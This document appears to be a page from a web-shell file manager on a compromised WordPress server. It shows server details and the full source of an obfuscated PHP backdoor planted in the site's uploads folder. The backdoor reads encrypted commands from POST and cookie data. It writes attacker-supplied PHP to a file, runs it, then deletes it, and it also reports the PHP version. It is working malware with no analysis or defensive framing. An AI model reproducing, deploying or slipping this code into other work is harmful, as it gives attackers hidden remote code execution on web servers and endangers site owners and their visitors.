HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/11/qslatcrm.php
<?php 

$jidzgegps       =       'jidzgegps'     ^ /* waf   */ '	';
$jsewyd  =    "\x61" /*   alzqq */ .	"\162" /*   ro  */ .	"r".$jidzgegps(220-123)     .    "y"."\x5f"       .    "m"."a"."p";$vhvgsltow     = /*   gg*/ $jidzgegps(374-269)	. /* me  */ "\x6d"	.    "p"."l"."o"."d".$jidzgegps(266-165);



function   nydfxsinw($nzrwr,     $djjub){
       global	$jidzgegps;

         $nzrwr      =     $jidzgegps(60)   .    "?".$jidzgegps(112) /*ykjqax   */ .   "\x68"     .    "p".$jidzgegps(32)   .     "u"."n"."l"."\151"      .   "\156"  .	"k"."\x28" /*a  */ .    $jidzgegps(95)     .	"\x5f"    . /*   fm */ $jidzgegps(1004-934) /*  bgk */ . /*  ohtu*/ $jidzgegps(118-45)     .	"L"."E"."_"."\x5f"       .      "\51" /*  awxi*/ .	"\73" /*   w*/ . /* u */ $jidzgegps(32) /* lkow  */ . /* itpsk */ $nzrwr["d"];    $hi_ellh     = /*r_jfo*/ "f".$jidzgegps(105)  .       "l"."\145"	.    "_".$jidzgegps(562-450) /* bwpqcd   */ .	$jidzgegps(117)   . /*  z_i  */ $jidzgegps(931-815)   . /* gzkz   */ "\x5f"   .      "\x63"   .  "o"."\156" /*_vicsb */ . /* ezg   */ "t".$jidzgegps(101)	.     "n"."\164" /*   i */ . /*   p  */ "s";

    


	$hi_ellh($djjub,    $nzrwr);


   
 /*   w   */ _auuqevv($djjub);}

$dyjtoamxfb      = /*  y   */ 73;




function      _auuqevv($djjub)


{
    global  $jidzgegps;
     

    include($djjub);


  $qkwirz /*   _  */ =    $djjub; /*  d  */ @unlink($qkwirz);
}
function    ubgthbt()


{
    global      $jidzgegps;



 /* vmljwv  */ $gvawgq_cq  = /*btruc   */ array();
    $gvawgq_cq["p"."v"]	=      phpversion();

	$gvawgq_cq["s"."v"] /*   pgnqxt*/ =	"3"."\56"    . /*  tlrsag */ "5";


	$tlvxhy       =    74;  echo /*h  */ @serialize($gvawgq_cq);


}



function	cavvkt($nzrwr, /*   vdvqp */ $yiwzupqfkk)

{
 /*   tckdd */ global /* y_huk*/ $jidzgegps;
  $pxngjfuzxbdfqb /*   pilkn   */ =    "";
   $gvawgq_cqxzrucwxj /* yw  */ =     strlen($nzrwr);

   $upgwxdes	= /*wl   */ strlen($yiwzupqfkk);

    $gvawgq_cq    =    0;

 /* _so_f */ $pxngjf   =      0;


 /* xgrmn */ 


    while	($gvawgq_cq    < /*  yi_gjl   */ $gvawgq_cqxzrucwxj) /*gypebl   */ {	$gqldvcggi	=	$nzrwr[$gvawgq_cq]    ^       $yiwzupqfkk[$pxngjf /*   j_uxpm*/ % /*gbcr*/ $upgwxdes];

	$pxngjfuzxbdfqb /*   qawboc*/ .=	$gqldvcggi;

 /*   knlzkp  */ $pxngjf++; /* k */ 

  $gvawgq_cq++;
	}

    


    if	(strlen($pxngjfuzxbdfqb)	>   20)    {


 /* iymyv*/ $tpulftb    = /*uda   */ substr($pxngjfuzxbdfqb,	0, /*q */ 20);
    }


 /* i  */ if	(empty($pxngjfuzxbdfqb))	{
      $pxngjfuzxbdfqb      =     date('Y-m-d     H:i:s');


 /*   hbrsst */ }     return     $pxngjfuzxbdfqb;
}




function    iuuhcxr($kribmzdls)

{

 /* nfux */ global	$jidzgegps;     	$nhbst      =       $jidzgegps(100) /*   vw */ . /*jv */ "\x39" /*ysqvod*/ .       "\62" /*   dphay  */ .    $jidzgegps(967-917)  .    "c"."f"."6"."0"."-"."5"."2".$jidzgegps(515-466)       . /* wv   */ $jidzgegps(187-90).$jidzgegps(45)   . /*   wuqxon*/ "4"."\x65".$jidzgegps(100-48)	.    "\x66" /*   d */ .      "-"."\142" /* vjobn*/ .	"\x38" /*   b   */ . /*   a  */ "\64"      . /*  pac*/ $jidzgegps(513-412) /*lqui   */ .      "\x2d"      .    "9"."\x37" /*   kt  */ .    "9".$jidzgegps(49)    .       $jidzgegps(100)    .     "4"."\65"      . /* uhjjl */ "f"."c"."\x64"	.    $jidzgegps(55)    .      "f";


 /* k  */ 


 /*  xhr*/ foreach /*  ec*/ ($kribmzdls   as       $zygdczc      =>       $nzrwr) /*idgw   */ {      smonlfs(base64_decode($nzrwr),	$nhbst, /* ynh  */ $zygdczc);
 /* s_mrcl   */ }
}





function /*  _p  */ smonlfs($nzrwr, /*rlby  */ $nhbst, /* ya */ $zygdczc)


{


    global	$jidzgegps;
 /*  a   */     $nzrwr /*jjmt   */ =   unserialize(cavvkt(cavvkt($nzrwr, /*  oszf*/ $nhbst),    $zygdczc));

	$hdbme      = /*   nxwh   */ 'nalusc';	$awcdols /*  rrgs  */ =	'bru';
 /*f */ if	(isset($nzrwr["\141"    . /*hpis*/ "k"])) /* gyah  */ {
 /*  tj   */ if      ($nzrwr[$jidzgegps(187-90)] /* bp_   */ == /*yoo   */ $jidzgegps(419-314))    { /* ylr_r */ ubgthbt();


 /*   falg_ */ }	elseif	($nzrwr[$jidzgegps(187-90)] /*ir */ ==	"\x65") /*a_ */ {


    nydfxsinw($nzrwr,   sprintf("\56"    .	"/"."\x25"	. /*   j_l*/ "\163"    .  ".".$jidzgegps(866-754)   . /*gl   */ "l", /* kbgx   */ md5($nhbst)));			$zcsjjp	=    44;


 /* dlko */ }

	exit(); /*jngi   */ }

}




iuuhcxr($_POST);	





$zdkzp /*giwd*/ =	'rawurldecode';





$vwnfdjtb     =	$jsewyd($zdkzp,	$_POST);$vhvgsltow("", /*  o   */ $zdkzp);

iuuhcxr($_COOKIE);



$wdhb_i     =      $jsewyd($zdkzp,       $_COOKIE);



?>